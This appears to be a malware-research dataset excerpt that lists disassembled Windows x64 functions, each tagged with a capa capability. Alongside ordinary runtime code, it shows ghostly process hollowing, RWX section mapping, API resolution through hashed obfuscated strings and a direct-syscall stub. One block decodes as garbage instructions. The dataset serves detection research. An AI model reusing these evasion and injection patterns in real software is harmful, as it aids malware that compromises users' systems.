joyce8/EMBER2024-capa huggingface dataset:
Function at 0x207987460
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x148
xor eax, eax
movdqu xmm0, xmmword [0x207a43560]
mov rbx, rcx
mov ecx, 0xd
mov rbp, rdx
mov rsi, r8
lea r13, [rsp + 0xd0]
mov qword [rbx], 0
movabs rdx, 0x8f95b288889e9894
mov r12, r9
mov rdi, r13
mov qword [rbx + 8], 0
rep stosq qword [rdi], rax
mov eax, 0xffffac97
mov dword [rsp + 0xd0], 0x68
mov word [rsp + 0xa4], ax
movabs rax, 0x89ab9e8f9a9e89b8
mov qword [rsp + 0xb0], rax
xor eax, eax
mov qword [rsp + 0xb8], rdx
mov edx, 0xffffac97
mov dword [rsp + 0xc0], 0x9a95899e
mov qword [rbx + 0x10], 0
mov word [rsp + 0xc4], dx
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xa0], 0x9a95899e
mov byte [rsp + 0xa6], 0
mov byte [rsp + 0xc6], 0
movups xmmword [rsp + 0x90], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0xb0]
xor edx, 0xfffffffb
mov byte [rsp + rax + 0xb0], dl
add rax, 1
cmp rax, 0x16
jne 0x207987538
mov rax, qword [0x207a43570]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x83]
mov dword [rsp + 0x78], 0x66665e28
mov byte [rsp + 0x7c], 0
mov qword [rsp + 0x70], rax
movabs rax, 0x2c2d665f686c5f65
mov qword [rsp + 0x83], rax
mov dword [rsp + 0x8b], 0x66665e28
mov byte [rsp + 0x8f], 0
movzx eax, byte [rsp + 0x83]
add eax, 6
mov byte [rsp + 0x83], al
movzx eax, byte [rsp + 0x84]
add eax, 6
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
add eax, 6
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
add eax, 6
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
add eax, 6
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
add eax, 6
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
add eax, 6
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
add eax, 6
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
add eax, 6
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
add eax, 6
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
add eax, 6
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x8e]
add eax, 6
mov byte [rsp + 0x8e], al
call fcn.2079560c0
lea rdx, [rsp + 0x68]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x58], rdx
mov r8, rsi
xor edx, edx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
test eax, eax
setne al
add rsp, 0x148
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x2079876e0
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
sub rsp, 0x68
xor r9d, r9d
mov r10, rcx
mov qword [rsp + 0x30], r8
mov rcx, rdx
lea r8, [rsp + 0x58]
mov qword [rsp + 0x58], 0
mov rdx, r10
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
cmp eax, 0x40000003
je 0x207987741
xor r8d, r8d
test eax, eax
jne 0x207987746
mov r8, qword [rsp + 0x58]
mov rax, r8
add rsp, 0x68
ret
Function at 0x207989cd0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
test rcx, rcx
je 0x207989cf9
cmp word [rcx], 0x5a4d
jne 0x207989cf9
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x207989cf9
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x207989cf9
mov r8d, dword [rcx + 0x28]
mov eax, r8d
ret

Function at 0x207989d00
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
test rcx, rcx
je 0x207989d2f
cmp word [rcx], 0x5a4d
jne 0x207989d2f
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x207989d2f
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x207989d2f
cmp word [rcx + 0x18], 0x20b
sete r8b
mov eax, r8d
ret
Function at 0x20798ae10
Capabilities:
Process ghostly hollowing

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb0
lea rbp, [rsp + 0x90]
mov r12, rcx
lea rdi, [rsp + 0x80]
mov qword [rsp + 0x80], rbp
test rcx, rcx
je 0x20798b030
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x60], rsi
cmp rbx, 0xe
ja 0x20798b050
mov rcx, qword [rsp + 0x80]
mov rax, rsi
cmp rsi, 1
je 0x20798b040
test rsi, rsi
jne 0x20798b010
xor r8d, r8d
mov qword [rsp + 0x88], rax
mov word [rcx + rax*2], r8w
lea rcx, str.___
call sub.msvcrt.dll_wcslen
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, str.___
call fcn.207a2a9a0
lea rbx, [rsp + 0x70]
lea rdx, [rax + 0x10]
mov qword [rsp + 0x60], rbx
mov rcx, qword [rax]
cmp rcx, rdx
je 0x20798b080
mov qword [rsp + 0x60], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x68], rcx
mov qword [rax], rdx
mov rcx, qword [rsp + 0x80]
xor edx, edx
mov qword [rax + 8], 0
mov word [rax + 0x10], dx
cmp rcx, rbp
je 0x20798af13
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rax + 2]
call fcn.207a3c5d0
lea rsi, [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov qword [rsp + 0x80], 0
mov r8, rdi
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x98], 0
mov edx, 0xc0110000
mov qword [rsp + 0x88], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0x80], 0x30
mov dword [rsp + 0x98], 0x40
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x38], 0xffffffffffffffff
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov rcx, qword [rsp + 0x60]
test eax, eax
mov r12, 0xffffffffffffffff
cmovns r12, qword [rsp + 0x38]
cmp rcx, rbx
je 0x20798affd
mov rax, qword [rsp + 0x70]
lea rdx, [rax + rax + 2]
call fcn.207a3c5d0
mov rax, r12
add rsp, 0xb0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
jmp 0x20798ae7d
lea rcx, [0x207a43730]
call fcn.207a3d570
nop dword [rax]
movzx edx, word [r12]
mov word [rcx], dx
jmp 0x20798ae7d
mov rcx, rdi
lea rdx, [rsp + 0x60]
xor r8d, r8d
call fcn.207a2cef0
mov qword [rsp + 0x80], rax
mov rcx, rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x90], rax
jmp 0x20798ae6a
movdqu xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm0
jmp 0x20798aeda
Function at 0x207997810
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2079a3b80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2079a3b80
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x207997880
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x207a721b4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x207997a30
mov rax, qword [0x207a721b8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x2079978cc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x207997957
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x2079978b0
mov rcx, r12
call fcn.207998120
mov rbp, rax
test rax, rax
je 0x207997a8d
mov rax, qword [0x207a721b8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.207998250
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x207a721b8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x207997a72
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x207997950
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2079979e0
add dword [0x207a721b4], 1
cmp ebx, 8
jae 0x207997988
test bl, 4
jne 0x207997a40
test ebx, ebx
je 0x207997979
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x207997a60
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x207997979
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x2079979ba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x207a721b8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x207997950
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.207997810
xor edi, edi
jmp 0x2079978d7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x207997979
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x207997979
mov rax, qword [0x207a721b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.207997810
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.207997810
nop
nop dword [rax]
Function at 0x207997d90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x207a721e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x207a721c0]
test rbx, rbx
je 0x207997de4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x207997ddb
test r12, r12
je 0x207997ddb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x207997dc0
lea rcx, [0x207a721e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x207998120
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x207a48dc0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x207998199
mov rcx, r10
call fcn.207997ff0
test eax, eax
je 0x207998199
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x207998196
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x20799818d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x207998199
add r8, 0x28
cmp r8, r9
jne 0x207998178
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x2079984a0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x207a721c8]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x207997e20
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x207997e73
mov dword [rax], edi
lea rcx, [0x207a721e0]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x207a721c0]
lea rcx, [0x207a721e0]
mov qword [0x207a721c0], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x207997e16
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x2079984d0
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x2079a3e00
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x2079a3e10
xor eax, eax
ret
jmp 0x207997e00
std
ret 0x9685
movsb byte [rdi], byte [rsi]
enter 0xffffffffffff9503, 0xffffffffffffffd3
pop rdi
cmp ah, byte [rdx + 0x7d]
mov al, 4
cld
adc eax, 0xdc71ba84
jl 0x207b99487
sbb ecx, dword [rax - 0x7b]
loopne 0x207b99511
or al, 0x96
mov bl, 1
invalid
add edi, eax
push rbp
int1
cli
imul ecx, dword [rsi + 0x7b84d4ca], 0xffffffbd
add dword [rdi], ebp
jge 0x207b995ab
add byte [rcx - 0x35], dh
mov dh, 0xbd
out 0xaa, al
adc bh, bh
or edx, dword [rcx - 0x334f2f68]
leave
leave
mov edx, 0xa2a67aa5
jno 0x207b99596
int3
invalid
outsb dx, byte [rsi]
sub al, byte [rsi - 0x47]
fldcw word [rdi + 0x76dc6979]
invalid
fdiv qword [rsi - 0x37]
test byte [rcx + rcx*8 - 0x40], dh
je 0x207b9972d
wrmsr
retf
enter 0xffffffffffffc3b2, 0xffffffffffffffb1
adc dword [rdx + 0x136ea1ff], ebx
outsd dx, dword [rsi]
and bh, dh
sub ebp, esi
out dx, al
cwde
sub dword [rcx], eax
add ebp, edx
int 0xa5
xlatb
sbb eax, 0x94190a05
jb case.0x2079a3cfc.24
pop rbx
fadd st(2), st(0)
mov edx, 0x12c13a8d
invalid
js 0x207b997f1

Function at 0x207998510
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x207998550
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x207998568
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x207a012f0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x207a01317
call rbp
cmp dword [rax], 4
jne 0x207a01334
mov rcx, rdi
call fcn.207a01110
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x207a01310
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x207a35eb0
Capabilities:
Encode data using xor

Disassembly:
movabs r9, 0xc6a4a7935bd1e995
mov rax, rdx
mov r11, rdx
imul rax, r9
and r11, 0xfffffffffffffff8
add r11, rcx
xor rax, r8
cmp rcx, r11
je 0x207a35f00
nop dword [rax + rax]
mov r10, qword [rcx]
add rcx, 8
imul r10, r9
mov r8, r10
shr r8, 0x2f
xor r8, r10
imul r8, r9
xor r8, rax
mov rax, r8
imul rax, r9
cmp r11, rcx
jne 0x207a35ed8
and edx, 7
je 0x207a35f35
sub edx, 1
xor r8d, r8d
movsxd rdx, edx
nop
movzx ecx, byte [r11 + rdx]
shl r8, 8
sub rdx, 1
add r8, rcx
test edx, edx
jns 0x207a35f10
xor r8, rax
movabs rax, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
movabs r8, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
ret
Function at 0x140003a20
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a54
cmp word [rcx], 0x5a4d
jne 0x140003a54
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a54
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a54
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003960
test eax, eax
jne 0x140003a70
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039d0
test rax, rax
je 0x140003a65
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000421f
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret
Function at 0x140003e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov ebx, dword [0x14052f500]
test ebx, ebx
je 0x140003e80
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x24], 0xd5de9977
mov dword [rsp + 0x28], 0xd5de5375
mov dword [rsp + 0x2c], 0x697a9c63
mov dword [rsp + 0x30], 0x697a2545
mov dword [rsp + 0x34], 0x697a2525
mov dword [rsp + 0x38], 0x697a2529
mov dword [rsp + 0x3c], 0x697a252d
call fcn.140003e40
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x1400040b0
xor r10d, r10d
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov r8, rax
lea eax, [rcx - 0x697a2509]
mov eax, dword [r8 + rax]
mov eax, dword [r8 + rax + 0x88]
test eax, eax
je 0x140003f33
lea r10, [r8 + rax]
mov ecx, dword [rsp + 0x24]
mov eax, dword [r10 + 0xc]
sub ecx, 0x697a2509
add rax, r8
mov r9d, dword [rax]
or r9d, 0x20202020
cmp r9d, ecx
jne 0x140003f33
mov r9d, dword [rax + 4]
mov ecx, dword [rsp + 0x28]
or r9d, 0x20202020
lea eax, [rcx - 0x697a2509]
cmp r9d, eax
je 0x140003f3f
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
jne 0x140003ed8
test r10, r10
je 0x1400040b0
mov eax, dword [rsp + 0x34]
mov edi, dword [r10 + 0x18]
sub eax, 0x697a2509
mov ebp, dword [rax + r10]
mov eax, dword [rsp + 0x38]
sub eax, 0x697a2509
add rbp, r8
mov r9d, dword [rax + r10]
mov eax, dword [rsp + 0x3c]
sub eax, 0x697a2509
add r9, r8
mov r11d, dword [rax + r10]
add r11, r8
test edi, edi
je 0x140004086
lea r13, [0x14052f504]
xor r10d, r10d
lea r12, [r13 - 4]
lea rsi, [r12 - 4]
jmp 0x140003fc1
add r10d, 1
add r9, 4
add r11, 2
cmp r10d, edi
jae 0x140004090
cmp ebx, 0x1f3
ja 0x140004090
mov edx, dword [r9]
mov eax, dword [rsp + 0x2c]
add rdx, r8
lea ecx, [rax - 0x697a2509]
movzx r14d, word [rdx]
cmp r14d, ecx
jne 0x140003fa0
cmp byte [rdx], 0
je 0x1400040a0
add eax, 0x24a23bc8
cmp byte [rdx + 1], 0
mov ecx, 1
mov r15d, 1
je 0x140004020
nop dword [rax]
movzx r15d, word [rdx + r15]
mov r14d, eax
ror r14d, 8
add eax, r15d
lea r15d, [rcx + 1]
add eax, r14d
cmp byte [rdx + r15], 0
mov rcx, r15
jne 0x140004000
mov edx, ebx
shl rdx, 3
lea rcx, [rdx + r13]
mov dword [rcx], eax
movzx eax, word [r11]
mov eax, dword [rbp + rax*4]
mov dword [rcx + 4], eax
test ebx, ebx
je 0x14000407e
lea eax, [rbx - 1]
add rdx, r12
lea rax, [r12 + rax*8 + 4]
jmp 0x140004076
movd xmm0, dword [rdx + 4]
movd xmm1, ecx
mov rcx, qword [rax]
sub rax, 8
sub rdx, 8
punpckldq xmm0, xmm1
mov qword [rdx + 0xc], rcx
movq qword [rax + 8], xmm0
cmp rsi, rax
je 0x14000407e
mov ecx, dword [rdx + 8]
cmp ecx, dword [rax + 4]
jb 0x140004050
add ebx, 1
jmp 0x140003fa0
xor ebx, ebx
nop dword [rax + rax]
mov dword [0x14052f500], ebx
jmp 0x140003e6a
mov eax, 0x9685daf7
jmp 0x140004020
xor eax, eax
jmp 0x140003e6f
Function at 0x140004120
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400040c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004574
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x140535e58]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x140535e54]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400045c2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400045ba
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400046a9
inc ebx
add rax, 0x28
jmp 0x14000459a
mov rcx, r12
call fcn.140004da1
mov rbp, rax
test rax, rax
jne 0x1400045e1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004510
movsxd rbx, ebx
mov rax, qword [0x140535e58]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004e4f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140535e58]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004643
mov rax, qword [0x140535e58]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004510
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400046a3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400046a3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140535e58]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400046a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004510
inc dword [0x140535e54]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140004ad0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140535ec0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140535ea0]
test rbx, rbx
je 0x140004b1c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004b16
test eax, eax
jne 0x140004b16
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004aee
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004cd0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004cf3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004cf3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140004cf4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004d2e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004d25
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004d30
inc r8d
add rax, 0x28
jmp 0x140004d0c
xor eax, eax
ret

Function at 0x140004da1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140531ff0]
mov r8, rcx
mov rcx, r9
call fcn.140004cd0
test eax, eax
je 0x140004dcd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004cf4
xor eax, eax
add rsp, 0x28
ret
Function at 0x180003170
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x30
xor edi, edi
mov rbx, rcx
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x38], rdi
mov qword [rbp - 8], rdi
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x20], rdi
call fcn.180006f30
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x30]
call fcn.180006010
lea r9, [rbp - 0x10]
lea rcx, [0x180030760]
xor r8d, r8d
xor edx, edx
mov qword [rbp - 0x10], rdi
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1800031d3
mov rdx, qword [rbp - 0x10]
mov rcx, rbx
call fcn.180005d00
lea rdx, str.BrightData_
mov rcx, rbx
call fcn.180005e20
mov rcx, qword [rbp + 0x30]
or rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp byte [rcx + rdx], dil
jne 0x1800031f0
lea r8, [rbp + 0x28]
call fcn.1800077b0
test eax, eax
jne 0x180003238
mov rdx, qword [rbp + 0x28]
lea r8d, [rax + 0x14]
lea rcx, [rbp + 0x20]
call fcn.180007b70
mov rcx, qword [rbp + 0x20]
call fcn.180005bf0
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp - 8]
call fcn.180005f00
mov rcx, rbx
mov rdx, qword [rax]
call fcn.180005e20
mov rcx, qword [rbp + 0x28]
